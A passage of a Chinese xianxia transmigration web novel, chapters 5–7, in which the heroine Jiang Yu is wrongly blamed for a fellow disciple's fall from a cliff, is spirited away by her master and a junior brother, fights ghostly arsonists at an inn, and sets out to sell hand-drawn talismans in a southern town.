而他的公正无私如今在姜瑜这里提现的淋漓尽致——即便她这个拖着半腿残废的,也免不了锻炼体能。
让一个瘸子,靠跑步来锻炼身体。
高中体育老师都没干过这么残忍的事情。
演武场的青石板被晨露打湿,泛着冷光,墨渊长老负手立在高台上,目光扫过她时没有半分波澜,只冷声道:
“剑修之道,力从地起,气由脊发。腿不行,便练到行。力不足,便磨到足。今日绕山一圈,跑完才可进食。”
话落,一旁的弟子们虽哀声一片,却也没人真敢的违逆,只得认命般迈开步子,向山路跑去。
姜瑜前几日灵力过耗,才刚养好,此刻她调动丹田内微许灵力,牙关一紧拖着一只半推半就的腿就跟了上去。
不过半柱香,姜瑜便注意到沈晚宁刻意放缓了脚步,与她并肩同行:
“师姐若是觉得吃力,不妨同我一道停下来歇会?墨渊长老左右没有规定时间,去的晚了,未必会责罚我们。”
姜瑜抬眼望向沈晚宁,声音带着难掩的虚弱,低声应道:“多谢师妹。”
话落,她便由着沈晚宁扶着,一同坐到了路边青石上。
还未等自身气息平稳下来,姜瑜脑海中却冷不丁响起一阵电子音:[即将触发推崖剧情,请宿主做好准备。]
推...推崖?
推谁?
沈晚宁吗?
姜瑜往身后万丈高崖瞟去,下意识淹了口口水,心道是摔下去估摸着连骨头都成渣了。
[宿主因嫉妒沈晚宁备受宠爱,借此机会把她推下山崖。而沈晚宁坠崖后,恰好被前来宗门交接任务的裴恒之所救,二人单独相处,促使他们感情升温。]
姜瑜额角沁出些冷汗,试探性的抬起来手,指尖却在触碰到沈晚宁衣襟的前一刻,一只翼展数丈的巨秃鹫尖啸着俯冲而至,直直扑向沈晚宁。
两人被这秃鹫的猛攻搞的猝不及防,沈晚宁下意识向后一躲,却忘了身后便是万丈悬崖,身体一倾,失去平衡,直直坠向那片翻滚的云雾里。
姜瑜眼睁睁看着她坠下山崖,她甚至忘了收回手,只望着那深不见底的崖底,耳边还回荡着方才秃鹫振翅的轰鸣。
而这一幕恰被山下赶来的弟子瞧到,为首的弟子脸色骤变,指着崖边的姜瑜厉声道:“姜瑜!你再怎么痛恨沈师妹也不至将她推入万丈悬崖啊!”
姜瑜听到动静连忙收起自己僵在半空的手,她深吸一口气,压下心头的慌乱,抬眼看向那几个面带怒色的同门,声音尽量平稳:
“我没有推她。方才来了只秃鹫突袭,是它扑过来时惊得沈师妹失足掉下去的。”
“秃鹫?”另一个弟子配合地环顾周遭,他冷哼一声,语气更添几分鄙夷,“我等上来时连只鸟雀都没见着,你说的秃鹫,难不成是会隐身的不成?”
“信不信由你。”姜瑜借力吃力站起,抬眼望向那打量她的弟子,语气冷了几分“与其在这耗费口舌,倒不如快些派人去山下找人。”
姜瑜不慌,是因为她知道沈晚宁不会有事。
他们不慌...
姜瑜看向他们,嘴角不由得扯起一抹嘲讽。
是因为治她的罪比沈晚宁更重要。
臭名远扬啊姜瑜。
*
姜瑜清楚的知道即便再怎么解释都是徒劳,更何况那几名弟子本就油嘴滑舌,再添油加醋地把“眼见为实”说得活灵活现,长老们听得多了,先入为主的念头早就扎了根。
所以她没有挣扎,任由那几个弟子上前,半扶半押地将她带回住处,等待定夺。
当落锁的轻响穿进姜瑜耳内时,她反倒吐了口气。
也好,省得再听那些嗡嗡的议论,倒能落个清静。
姜瑜走到窗边坐下,望着院里那棵老槐树,指尖无意识地敲着窗沿——沈晚宁那边,想来已经遇上那位裴恒之了吧。
现下她只能等。
等沈晚宁回来,然后赎清罪名。
没有电子设备的时间是无聊且漫长的,姜瑜单手拄着头发呆,也不知道什么时候打起了瞌睡。
夜晚的虫鸣叫的令人惬意,掺杂着草地里摩擦的沙沙声,愈来愈大。
姜瑜趴在桌上,额前的碎发随着呼吸轻轻晃动,鼻尖萦绕着窗
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缝挤进来的气息。
“心真大,都这样了还睡得着。”这声音从姜瑜头顶上传来,轻轻擦过姜瑜的耳朵。
应不妄缓步走至桌前坐下,径自拿起桌上的茶壶,倒了一杯凉透的的茶水,浅啜了一口,目光落在姜瑜伏着的背影上,带着几分揶揄。
姜瑜睫毛颤了颤,混沌的意识被这声音拽回几分,迷迷糊糊地抬眼,开口嗓音沙哑:“你怎么...”
姜瑜未来得及开口,便见应不妄竖起食指,轻轻按在她的唇上。
那指尖带着茶水的微凉,动作却不重,只无声地比了个禁声的手势。
他眼尾微挑,目光朝窗外斜了斜,示意她莫要出声。
夜风吹动窗棂,带着虫鸣和草响,隐约还能听见院墙外守夜弟子换岗的脚步声。
姜瑜眨了眨眼,识趣地闭了嘴,只看着他放下手,将茶杯往她面前推了推,低声道:“醒醒神。”
姜瑜接下茶杯,心里却暗自打气了鼓。
这斯莫不是来为他那白月光报仇,找她索命的?
这茶里有毒?
应不妄当然不知道姜瑜的心路历程,只开口轻语道:“师父那边会尽力去求情,长老们也拿不定主意,所以师姐不用担心你的小命。”
“清者自清。”姜瑜将茶杯推回,杯底与桌面碰撞出轻响,语气里带着几分不容置喙的笃定。
她根本没去细听应不妄方才说了什么,只抬眼迎上他的目光:“不是我便不是我,等沈晚宁回来,她自会帮我澄清。”
“万丈悬崖。”应不妄出声提醒,冷嘲问道:“你要等沈晚宁回来?”
“沈师妹福...福大命大,自不会有事。”姜瑜虚心抬眼,依旧嘴硬。
“你好像很笃定沈晚宁会回来。”应不妄放下茶壶,动作很轻,侧脸在烛火下显得有些模糊,瞧不出什么情绪。
姜瑜没搭话,只抿了抿干涩的唇,望着眼前的茶水蠢蠢欲动。
应不妄见状,似是看穿了她的顾虑,唇边勾起一抹嗤笑,指尖在杯沿轻轻敲了敲:“青冥宗门门规第三条,残害宗门者,赐剔骨之刑。”
他抬眼看向姜瑜,补充道:“我还没你那能耐。”
话落,他起身理了理衣袍,交代道:“总之被关禁足的日子你先在此处安心养伤,其他的不必忧心,师父那边会帮你解决。”
说罢,他没再看姜瑜脸上的神色,转眼便消失于窗边。
窗户被推开一道缝,夜风吹进几缕凉意渗进姜瑜脖颈,伴随着他渐行渐远的脚步声,那道缝隙又悄然合上,好似他从未来过。
姜瑜望着窗纸上摇曳的树影,出了神。
他冒着被人发现的风险潜进来,难道就是为了说这几句不痛不痒的话,变相安慰她?
姜瑜嗤笑一声,指尖无意识地摩挲着桌面。她姜瑜还没弱到需要让人这般体恤的地步。
夜风卷着虫鸣穿过窗缝,她忽然觉得,应不妄今夜的举动,比那些认定她是凶手的同门更让人捉摸不透。
这或许...
是一种变相的报仇方式?
5. 下山避风头
夜里的虫鸣总是如此的安静祥和,许是白日里睡了一觉,姜瑜此刻躺在床上来回翻身,左右睡不着。
自打穿进书中,她难得有这么一会清闲。
她身躺在檀木床上,缓缓抬起手,泛白的指尖张开,透过指缝她看到了窗外月光映照下的景色。
晚风裹挟着凉意袭来,倒让她清醒了不少。
现下沈晚宁灵根没毁,往后修为只会增不会减,若她要安稳的继续走剧情,便也不能懒着。
而她,拖着一只残废的脚,就连最简单的御剑飞行都难以完成的人,怎么可能比得过天资卓越的沈晚宁。
剑修不成,那不如符修吧?
反正青冥宗又不主剑修。
念头一旦产生,它便会在脑子里滋生开来,且愈来愈强烈。
姜瑜猛地坐起身来,衣裙扫过地面,案台的烛火随之亮起,刚好将桌上的卷宗映照的一览无余。
她抽起一卷随手的书简,竹简相触发出轻微的摩挲声,边缘被磨得圆润光滑,连串绳都透着些陈旧,显然原主常年翻阅。
姜瑜悠然点起头来,心里却忍不住感慨,看来原主也没有宗门所说的那么差劲嘛。
期间她看的入神,全然不查一张泛黄的麻纸从中掉落,轻飘飘的打着旋坠在了地面上。
直到一阵冷风悄无声息地从窗边吹来,卷得屋内烛火摇曳,姜瑜的影子也在空中大幅晃了几许。
姜瑜抬手揉了揉发酸的眼,她双手举过头顶自然地伸了个懒腰,打了个哈欠,目光撇见了地上的麻纸。
她满脸疑惑,伸手捡起——纸上用浓墨绘着一副她从未见识过的图案,更像是符修那帮修士所能画出来的符画。
姜瑜指尖划过,方才没注意到,纸张下面有两行小字附言:
“结丹修于符修之中,两者结合,毒丹为墨,一纸黄符,亦可灭金丹魔士。”
“结丹修于符修之中?”姜瑜喃喃念道。
毒丹为墨...以符为毒。
姜瑜两手一拍,激动的喊了出来:“对啊,我怎么就没想到呢。”
她的动静惊扰了在外值守的弟子,他们应声呵叱:“大半夜不睡觉吵什么呢?你也别想着能从这里逃出去!”
另一弟子应声冷哼道:“再怎么叫你也出不去,有人生没人养的东西,明日就将你骨头剔了去给沈家赔罪!”
话刚落,姜瑜便听见门外隐约有重物落地的闷响,随即外头便静了下来。
姜瑜迅速将麻纸收进袖中,朝门口走去,双手扒着门缝借着月下微弱的光线瞧去——
只见两名守门弟子早已昏厥在了地上,还未待她再次看清周遭状况,门便被人从外猛地踹开,冷风裹挟着淡淡的药香铺面而来。
姜瑜下意识后腿半步,抬眼便撞进一双似笑非笑的眸光。
应不妄生的极好看,他笑起来眼尾微微上挑,如沐春风,更像是春日里盛开的千多桃花般。
两人相顾无言。
“小瑜啊,”一位留着长白胡的老者从应不妄身后走来,他拄着拐,面容祥和:“为师争不过那几个犟老头,他们硬要依律处置。”
“你自幼便跟着为师,你什么品行,为师自是比他们清楚多了,他们也就仗着你爹不在。”苍梧轻哼一声,拐杖重重敲打在地面。
“你爹不在,为师还在!怎可让他们欺负了你去!”
“师父...”姜瑜挣着双眼,睫上挂着些许湿润,她尽可能的让自己演的逼真些,声音里带着些许哽咽,“遇见你是阿瑜一生之幸。”
“乖徒儿!”苍梧手拐一丢,紧紧握起姜瑜的手,“为师瞧着你,从沈家回来都瘦了不少...”
“师父,徒儿受点苦不算什么,给师父丢脸了,徒儿无能,自愧不...”姜瑜垂着眼,声音里还带着未散的哽咽,话只说了一半,便被一旁的应不妄轻咳声打断。
应不妄双手怀抱于胸前,慵懒地倚着门框,出言提醒道:“您二位再哭个百八十遍,他们可就醒了。”
“对对对,”苍梧应声道:“你且出去避些风头,等一切尘埃落定,为师再招你回来。”
“明日阿妄刚好要下山办事,”苍梧说着,顺势拉起应不妄的手腕,将姜瑜二人的手交叠在一处,“你们二人好有个照应。”
指尖与应不妄触碰的瞬间,姜瑜只觉对方指腹轻微颤了下,她还未来得及细究对方掌心带来的凉意,手里便落了空。
应不妄抽回手,干咳一声:“全听师父安排。”
*
两人下山之时,天也才蒙蒙亮。
依苍梧所言,天黑出发容易掩人耳目,不易被那些犟老头们察觉。
但他又不放心自己受伤的乖徒儿大半夜的只身瘸着腿去折腾。
几番犹豫下,最终双手一拍即合,也不管应不妄大半夜下山办事有多可疑,直接将两人一同推出了山门。
临走前还不忘嘱咐应不妄好好照顾姜瑜。
姜瑜听到这句话差点没当场死过去。
她——姜瑜,把他应不妄的白月光沈晚宁推下山崖,现如今生死不明。
应不妄不将她全身扒层皮都是好的。
姜瑜跟在应不妄身后,心里暗暗思忖。
莫非他还未认出他的白月光?
那感情好啊!
最起码这几天不用提心吊胆了。
姜瑜思及此,眸光一亮,她低着头,根本没注意前方的人已然停下了脚步,净直直的撞了上去。
前方传来应不妄闷哼一声。
“对不起啊。”姜瑜下意识道。
“头是铁做的啊?”应不妄顺口怼回,嘴里还不忘嘟囔着补刀:“也不知道眼睛长在脸上是干嘛用的。”
姜瑜不服气,“我都道歉了,你这人要不要这么蛮不讲理...”
“你要歇会吗?”
“啊?”
“我们走了有一段时间了,你现下的灵力既不能御剑飞行,也没有足够的灵石让我们御兽而行。”应不妄补充道:“你两只脚...”
他看向姜瑜的左腿,停顿了一下,轻咳掩饰他眼底的慌乱:“走的不累吗?”
姜瑜原本没觉得有什么,现下被应不妄这么一提,肚子倒先不争气的响了起来。
应不妄唇角勾起一抹极淡的弧度,他从丹囊中掏出一粒丹药,顺手抛了出去。
姜瑜伸手接住,看清那莹白丹丸,不由抬眼:“辟谷丹?”
应不妄眉梢微挑,语气里裹着点漫不经心,夹杂着一股试探的意味:“师姐认不出?”
“自能认出。”姜瑜舌尖打了个转,一气呵成,将丹药塞进了嘴里。<
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p>真难吃。
“认不出也正常,”应不妄双手背在身后,衣摆扫过地面的落叶,发出细碎的声响,身影里都透着他那难掩的雀跃:
“这是我特调的,也不知道有没有毒,你且帮我试试,若是半个时辰后还能站着说话,便算它成了。”
你舅奶奶的香蕉菠萝哈密瓜!
敢耍老娘!
姜瑜攥紧拳头,指尖泛白,气势汹汹的追上前去,脸上挂着笑,眼底泛着杀意:“师弟上次丹修课考怎么样啊?”
应不妄脚步微顿,假装思索片刻,答道:“没记错的话好像排末吧。”
“敢拿你师姐练手,红豆吃多了,相思啊?!”姜瑜话音未落,一记拳头已然带着风落了上去,重重地砸在他后背上。
应不妄似也是没想到姜瑜会给他这么一圈,拳头挨了那么一下时,他眼底闪过一丝错愕,随即又被那抹惯常的笑意掩盖。
“师姐也真是舍得。”他指尖在衣料上轻轻蹭了蹭,方才被拳头砸中的地方,还留着一点微热的触感。
应不妄皱起小眉,故作心疼:“这么一拳下来,落在我身上也不过是被猫抓了下,倒是委屈师姐的手要疼上一段时间了。”
姜瑜绷不住被他气笑,便偏过头去不再看他,只闷头拖着发沉的腿往前走。
鞋底碾过地上的碎石子,发出细碎的声响。走了几步,见身侧没什么动静,她眼角余光悄悄瞥去——
也不知应不妄是何时跟了上来,只与她持着半步的距离,倒像真有点像是怕她生气,委屈认错似的小狗。
*
姜瑜他们赶的是夜路,行至山下客栈时已正值正午,虽不是半夏,但也热的厉害。
她虽吃了辟谷丹,但再次闻到久闻的饭香味时,还是没忍住顿下了脚。
见姜瑜在门口犹豫不定,应不妄忽然侧身站在她面前,恰好遮住了直射而来的阳光,“又饿了?”
姜瑜刚要开口,又被应不妄打断:“想吃便直说,别杵这儿跟杆子似的。”
姜瑜:?
这话好耳熟。
客栈里阴凉许多,这里正处山下,来往客人并不多。
掌柜此刻正趴在柜台上打着盹,见有人进来,揉着眼睛起身:“两位客官,打尖还是住店?”
应不妄先一步道:“两间上房,再备些吃食。”
他从袖中摸出一锭银子拍在柜上,动作干净利落。
姜瑜看了他一眼,满脸疑惑:“你哪来的这么些银钱?”
“师姐你猜。”应不妄微微垂着眼,长睫在眼下投出几缕淡淡的阴影,将他眼底的情绪遮了大半:
“说不定我是什么大户人家的公子哥,亦或者我爹的官职比沈晚宁他爹还要大?”
姜瑜:切,净瞎扯。
“我宁可相信你是顺手偷了谁的。”姜瑜甩下一句话便跟着小二上了楼。
两间客房离得不远,上了二楼拐过木廊,便是一左一右两两邻着。
“你住右侧。”他指尖在门板上轻轻敲了敲,唇角勾起抹浅淡的弧度,装模作样地解释道:“主要是怕师姐夜里起夜摔着,还得劳烦我。”
姜瑜脸上扯出一抹假笑,嘴角弯得有些僵硬:“多谢师弟,师弟费心了。”
“不费心,顺嘴的事。”
姜瑜:……
6. 鬼魅(一)
夜色如墨,今夜的月光似是露了怯,并未按时上岗。
姜瑜双手合抱着绣花被褥,睡得正香。
外头起了风,顺着窗缝挤了进来,连木窗都被吹的吱呀作响。姜瑜不禁打了个寒颤,醒来时头脑昏沉,抬起手来揉了揉眼睛。
许是刚睡醒的缘故,她踉踉跄跄地走到了窗前。
推开窗,外头下起了蒙蒙细雨,甚至一些细小的雨滴没经得住风刮,打在了姜瑜的脸上,带着凉意,倒让她清醒了不少。
“就这天气,明早也别想着能赶上路了。”姜瑜嘟囔道:“还是好好睡...”
话还没说完,腿上忽然一阵绞痛猛地窜入心骨,她身子一软就蜷缩在了地上,额角处也直冒冷汗。
自从上次姜瑜与魔物一战之后,她的腿总会在风雨天莫名的痛,起初她并未在意,可越到后面便也越发痛的厉害。
姜瑜不得已趴在地上,双手撑着地面,指尖因用力而泛白,随着手上的青筋暴起,豆大的汗珠也随之从脸上滚落下来。
她方才没来得及关窗,此时外头的雨越下越大,伴随着狂风骤卷,淋在了身上。
姜瑜咬牙支撑,用尽身体最后一丝力气,撑坐起身。
她在原地盘膝而坐、屏气凝神试图稳住体内乱撞的灵力,靠着几分模糊的肌肉记忆,引导体内灵力气流在经脉中流转。
随着天空划过一片刺目的亮白,轰鸣声也随之而来,震得窗棂来回颤动。
“走水了!来人啊,快来人啊,走水了!”门外传来夫人尖利的大喊。
姜瑜紧闭双眼,不自觉地皱起了眉,她此刻调理着内息,凡是稍有分神便是经脉逆行的剧痛。
怪了...雨天怎会走水?
雨声混杂着呼救声越来越近,门板被人轻扣了几声,应不妄的声音从门外传来:“师姐。”
“这火有蹊跷。”门外的应不妄语气中竟没半分急切,反倒是那敲门的力道缓了下来。
姜瑜指尖一颤,灵力彻底乱了套,喉咙里瞬间涌上一股腥甜,她猛地睁开眼,眼低阵阵发黑,扶着地面才没栽倒。
门外外火光已映红了半边天,雨丝被染成橘色,燃烧声隔着雨幕传来,混着木头烧焦的脆响。
“我知道。”姜瑜应着,扶着一旁的墙面缓步起身,走向门口时还不忘嘴贫:“三岁孩童都能明白的道理,师弟大可不必强调。”
门由内而开,带着一股清冽的药香扑面而来,姜瑜扶着门框站定,即便是在深夜里,也掩盖不住她那煞白的脸色。
应不妄对上姜瑜煞白的双眼,脸上的笑意一顿,随即皱起了眉头:“你怎么了?”
姜瑜的嘴唇抿得极紧,下颌线绷成一道僵硬的弧度,小幅度的摇了摇头,扯起一抹笑意,歪头道:“无碍,许是之前吃的辟谷丹有问题?”
“那是上乘辟谷丹,你自己身体承受不住别...”应不妄还想开口辩解,却被姜瑜一口沙哑声打断。
“是是是——”姜瑜点头应着,开口时声音却哑的难听:“应大侠,现在不是追究丹药的问题,这火还烧着呢,再不走我俩都得唠成灰。”
应不妄被这么噎了一下,再抬眼时才发现,她扶着门框的手正在不住地发抖。
他便顺手从旁扯过一根烧得半焦的木杖,抬手递去:“拿着。”
“谢了...”姜瑜接过来时手还在抖,木杖上的灼痕烫得她指尖一缩,却也就着力道勉强稳住了身子。
雨还在下,却像是被那诡异的火势蒸成了白雾,空中散发着一股呛人的烟味。
姜瑜靠着手中的木杖与应不妄一同往楼下绕去,忽然只觉脚下一轻,手中的木杖被甩去数丈远,身子一倾,竟直直往身后滔滔不绝的火势中倒去。
她紧闭双眼,等待着火势扑面而来。
只觉自己的后领被用力扯了一下,姜瑜猝不及防地撞在了应不妄胸前,鼻尖擦过他带有药味的衣衫,稳稳站住。
头顶上传来惯常的冷哼声:“真不知道你这么蠢,师父究竟看上你哪了。”
“……”
不道啊...可能我就是传说中的关系户?
还未等姜瑜辩驳,眼前两团黑影便如鬼魅般从应不妄身后一闪而过,带起一阵木屑的烧焦烟气味。
她心头一紧,将体内的灵气凝成一团,指尖一点,直冲向落在后面的那团黑影。
灵气撞上黑影,瞬间化作黄色的符纸,在雨里打了个旋,那黑影竟诡异地化作一缕青烟飘向天际。
应不妄趁着间隙随之旋身侧转,指尖不知何时多了纸符,直朝着另一道黑影飞扑过去。
“敢在青冥宗山下闹事,是嫌自己活的太长了?”他说的漫不经心,修长白皙的指节却早已捏起一张符纸,手腕一扬,符纸直冲那股黑团。
距离鬼魅颈侧半寸,符纸悬于空中,应不妄走近威胁:“姑且饶你,别忘了把话带到你主子那边,就说你爹三日后,会亲自去取他的狗命。”
鬼魅连滚带爬地往火墙缺口钻,刚跑出两步,又被姜瑜喝住:“等等。”
鬼魅吓得一哆嗦,只见姜瑜背靠着残柱,指了指身后尚未燃尽的客栈:“这火,怎么带来的,就怎么给我带走。”
鬼魅浑身一颤,似是没料到她会这么说,迟疑着转过身。
雨还在下,火舌舔着焦黑的房梁,不时有燃烧的木块砸落,发出沉闷的响声。
“做不到?”姜瑜眉峰微挑,声音里夹杂着一丝戏谑,指尖也随之凝起灵力,虽仍有些滞涩,那股迫人的气势却丝毫不减。
应不妄在一旁看着,没说话,只自顾自地低头把玩着手中的符纸。
鬼魅左右瞧着,终是从怀中掏出个黑瓷瓶,抖着手拔开塞子,将里面的灰粉往火场方向一撒。
奇了,下了半晌的雨都没浇灭的火势,不过片刻,黑粉飘扬所过之处,火势竟真的弱了下去,只剩下袅袅黑烟在雨里飘散。
姜瑜看着那片暗下去的废墟,缓缓收回目光:“瓶子留下,自己滚。”
鬼
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魅犹豫片刻,被应不妄一记目光吓得缩了回去,放下瓷瓶,连滚带爬地消失在巷口的雨幕里。
应不妄弯腰捡起地上的瓷瓶,瓶身冰凉,还沾着些湿泥。
他拧开瓶塞闻了闻:“是息火散,却掺了些阴寒的东西,难怪能压得住那邪火。”
说罢便走上前,见姜瑜正望着客栈废墟出神,扶着木柱的手还在微微发颤,顺势将瓷瓶抛给她。
姜瑜低头看了眼掌心的瓷瓶,冰凉的触感倒让她乱成一团的灵力稳定了些许。
她抬眼看向应不妄,火光虽已熄了大半,残余的硝烟却仍在两人之间弥漫,让他的脸显得有些模糊:“你早就知道?”
方才应不妄那趋势,分明是识得那鬼魅。
“猜的。”应不妄踢了踢脚边一块焦木,“能用燥火符引火,自然得备着息火散收尾,否则烧得太大,引来青冥宗的巡山弟子,他们跑都跑不掉。”
“不是这个。”姜瑜眼睫颤了颤,她低着头,声音虚弱无力,却带着不容置疑的笃定低:“你认识他们。”
头顶传来一阵嗤笑,应不妄懒羊羊地靠着一旁还未塌陷的木柱,发梢因方才淋了雨而滴着水,顺着下颌滑进衣领里:
“不然你真以为我下山就只是受师父之命保护你啊?”
……
那倒不是。
“所以这就是你此次下山的任务?”姜瑜追问。
“算是吧。”应不妄踢了踢脚边的碎石,石子在泥水里滚了几圈。
“这群鬼魅在山下搞了不少动作,前阵子还偷了咱们师父珍藏的聚灵阵图,师父早就想收拾他们了。”
“没有别的了吗?”
“有啊。”应不妄低头看她,眉梢微挑:“你问这些干什么?”
“若是沈晚宁真的活着回宗门了。”姜瑜偏过脸望着远处被雨雾染白的天际,轻声道:“你是不是就能回山门了?”
姜瑜有上帝视角,但应不妄和师父没有。
师父这是做了让他带着自己躲一辈子的打算。
“雨还下着呢,你这弱身板也别想着逞强,还有半边屋子未燃尽,我们先去那边避着些。”应不妄没搭话,顺手牵住了她的手腕,往前方走去。
姜瑜望着他刻意绷紧的侧脸,轻笑出声:“蠢。”
他没回头,难得地没有回嘴,只是牵着她往那半边残存的屋舍走去,脚步放得极缓,像是真的知道走的快了会牵扯到她腿上的伤似的。
未燃尽的屋檐还在滴着水,混着烟尘落在地上,晕开一圈圈深色的印记。
屋内弥漫着潮湿的木头味,倒比外面暖和些。他松开手时,难得有些不好意思,耳尖上也不自觉的泛起了一抹绯红。
姜瑜找了个位子随意坐下,衣襟早已被雨水浸透,直到此刻她才得空感受到冷气。
寒意顺着布料往骨头缝里钻,她拢了拢衣领,还是忍不住浑身打颤。
应不妄在她对面站着,正全神贯注地翻腾着他那早已被雨水浸湿的符纸。
7. 鬼魅(二)
从姜瑜这个方向看过去,应不妄生的极好看,相比于原书男主,他倒是多了几分少年气息,不笑时总带着点漫不经心的疏离,笑起来却会露出两颗浅浅的梨涡。
此刻他在昏暗中小脸紧绷着,额前碎发被雨水打湿,凌乱地贴在眉骨,非但不显狼狈,反倒添了几分少年应有的英气。
“冷?”他忽然问,视线投向姜瑜,手里不经意地把玩着符纸。
姜瑜摇摇头,又点点头,声音有点发闷:“还好。”
他眉峰微挑,目光在她被风吹得微红的鼻尖上顿了顿,没再追问,从丹囊中取出一粒丹药,塞给姜瑜。
“驱寒的。”他开口声音虽听不出情绪,但不难发现话比之前少了几许。
姜瑜嘴巴张了张,最终只汇了一句:“谢谢。”
一夜无言,姜瑜中途想说些什么打破僵局,话到嘴边又咽了回去,最后也没继续追问,靠着墙头脑昏沉的眯了过去。
天刚微微亮,天边透来一抹橘红色的光辉,暖融融的光意顺着云层的缝隙漫出来,映在姜瑜脸上。
姜瑜被那道刺目的光线晃得下意识眯起眼,抬手便挡在额前,指缝间漏进的光依旧灼人。
抬眼看去,应不妄未动分毫,此时还站在昨夜的位置,他双臂怀于胸前,双目紧闭,晨光漫过他肩头他却毫无察觉。
姜瑜单手撑着地面,借着几分力才勉强站起身来,衣衫上还沾着昨夜淋雨后的潮气,浑身难受。
她缓缓挪步,漫过厢房的门槛时,头顶忽然落下几滴微凉的水,抬眼望去原是房檐上的积水混杂着扯晨光落下地面。
“睡醒了?”沙哑的声音从身后传来,姜瑜回头时,他正背靠着廊下的木柱,脸上带着几许倦意,向她投来目光。
姜瑜忽然嗤笑一声,应声回到:“也是委屈了我们应小公子,一夜未眠,不知应公子家父知道后会不会心疼呢?”
应不妄脸上铁青,耳尖上又泛起了红晕,他扭脸回道:“少拿我贫。”
姜瑜故作斟酌,撇嘴回忆:“嗯...这样吗,是谁说他爹比沈晚宁他爹官位还大来着?莫不是师姐这脑子这么快就不顶用了,记错了事?”
“走了!”应不妄恼羞成怒,脸颊也泛起了一层红晕,也不管姜瑜还拖着带残的腿,只自顾自地三步做两步往外迈去。
“诶!”姜瑜在身后拖着沉重的腿,火急火燎的跟上去,“好歹活了十几年的人了,这么不经逗?”
*
他们一路向南,途中姜瑜心里有了数,这剧情大抵发生在南原沧南一带,那里临近南国,水网如织,当地人多以水运为业。
这里冬暖夏凉,与北方的干燥凛冽截然不同,是个度假的好地方。
而且在遇见裴恒之他们之前,姜瑜根本就没有剧情可走,她只需要安安静静的躺在床上,坐享其成。
至于应不妄,不是说要拿什么鬼魅王的小命吗。
但这跟她姜瑜有什么关系?
这种大话他自己一个人说就够了,折腾这一路她没死在半道都算福大命大。
呦呵声漫于街市,人潮如织,摩肩接踵,如此繁华的街市却又没有京首的庄严。
姜瑜换了身湖蓝色的襦裙,料子是南地常见的软罗,领口袖边滚了圈月白色的锦边,衬得她原本略苍白的脸色都添了几分红润之色。
“这街市都来回兜了好几圈了,依我看,凡是做事总不能委屈自己。”姜瑜望着前方街角那处飞檐翘角的客栈,唇角不自觉地弯了起来:
“还是那边的鸿来客栈更合心意,那位置采光极好,又背靠海域,日日能闻着清新空气,更助于我们修习。”
应不妄脚步一顿,转过身来看向她——
他也换了身衣裳,是件月白色的锦袍,料子挺括,领口袖缘绣着暗红色流云,与他头上的红色发带接连呼应,额前的碎发衬得他更显年少英气。
姜瑜眉心微蹙,满脸疑惑地歪了歪头:“怎么?”
她尾音轻轻扬着,带着几分不解,见应不妄只抿着唇不说话,那双好看的眉峰还微微蹙着,一股不好的念头忽然涌上心头。
“你该不会...”姜瑜试探性开口,声音放轻了几许,小心翼翼的问:“没有银钱了吧?”
应不妄点头。
“真没了?”
应不妄再次点头
“一点也没剩?”
应不妄这次没点头,开口时声音里带着几分不自然,却又有些理直气壮:
“上次我们住的客栈被烧,那黑心掌柜不仅没将银钱退回,还跑的比谁都快。如今我们到了沧南,换了两身得体的衣服后,银钱确实所剩无几...”
“我记得我这衣服也不贵啊?””姜瑜捏了捏自己湖蓝色的裙摆,料子虽软和,却绝非上等货,怎么看都值不了几个钱。
应不妄抿着唇没说话,耳根却又悄悄泛起一点红晕。
“实话实说你这花了多少钱?”姜瑜蹙眉逼问道。
“五十两。”他轻声说着,视线微微错开,落在街边摊贩的竹筐上,就连那抹平日里的倨傲都淡了下去。
“五十两?!”姜瑜要不是腿脚不便,现在高低得跳起来。
她指着他那身月白锦袍,又气又笑,“合着亏了别人也不能亏了你自己是吧?”
计划好的沧南度假不仅泡汤了,现在她姜瑜还要再想怎么赚钱有个住处。
姜瑜顿时泄了气,连带着语气都蔫了下去:“那你还剩多少?”
*
两百文,说多也不多,说少也不多。
姜瑜捏着应不妄递来的钱袋子,她颠了颠,银钱碰撞的脆响从袋内传来,念头一转想到了什么。
这里既然畅行修仙,那这妖魔鬼怪自然不会少,寻常百姓对这些邪祟多是畏惧,黄纸符咒便成了防身辟邪的要紧物事。
这般能镇煞驱邪的东西,自当不会便宜。
姜瑜忽然转头,目光落在应不妄身上,眼底不怀好意:“你身上可有带符纸?那种没有画过的。”
应不妄虽不解她为何突然问起这个,但还是如实地从随身携带
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的锦囊中摸索起来,从中抽取了几张未画过的符纸递了过去。
“师姐拿这些做什么?”
姜瑜蠢间扯起一抹笑,眉眼弯成了月牙状,将先前的愁云苦脸散得干净:
“我方才闲逛,多有留意,这里寻常的平安符尚且要价几十文,若是带些灵力的辟邪符、驱鬼符什么的没有几两银子根本拿不下来,若是遇上道行深些的符箓修士画的符...”
她话语间顿了顿,拍了拍腰间扁扁的荷包:“这银钱不就来了吗?”
“师姐你我皆非符修,想骗人人也不能这么明目张胆吧?”应不妄眉头拧成一团,质问姜瑜。
姜瑜小哼一声,下巴微微扬起,带着几分从容的自信:“你师姐我无所不能,学着点吧你。”
在来沧南这一路上,姜瑜深知因自身灵力不稳,剑修很难再有寸进,她便想着能向系统讨几个符修古籍,自己慢慢参透。
如今的她虽算不上大成,但至少也算小有所成。
她画的符,卖个几两银子还是可以的。
*
没多久,姜瑜从系统那里顺了只墨笔,随意寻了块被日头晒得温乎的街边青石,从容地坐下,将符纸铺在膝头,蘸了朱砂便画了起来。
笔尖在黄纸上游走,起初只是几道简单的弧线,随着她指尖灵力微动,不过片刻功夫,一张驱魔符便成了形,符尾那点朱砂凝而不散,泛起一丝赢弱的金光。
不知何时起,街边的行人都慢了脚步。
先是个挑着担子的货郎驻足于旁,对着她膝头那张泛着微光的符纸啧啧称奇:“看姑娘年纪轻轻,没想到居然有这本事?”
随着货郎的声音传出,一旁的妇人也停了脚步,指着符纸上的话惊叹出声:“瞧那符上还散着光,当真管用?!”
姜瑜抬眼时,唇边已漾开一抹从容的笑,她扬了扬刚画好的符纸,
“管的,这符纸最能驱邪去魔,莫说寻常鬼魅,便是有些道行的魔怪,见了它也得绕道而行。”
一旁被挤开的应不妄此时在人群,清了清嗓子,在攒动的人头中顺势扬声,问了句:“这符纸既如此灵验,不知要卖多少银钱?”
姜瑜抬眸朝他看了一眼,眼底飞快掠过一丝笑意,接道:“小女子初到沧南,也算是领略到了此地的风土人情,与诸位甚是合缘,今日此等承物的符纸...”
她纤细修长的手指一伸,唇齿轻启:“只需三两银钱。”
人群顿时一阵哗然,“三两,这也不便宜啊...都够我们一家好几天的伙食了。”
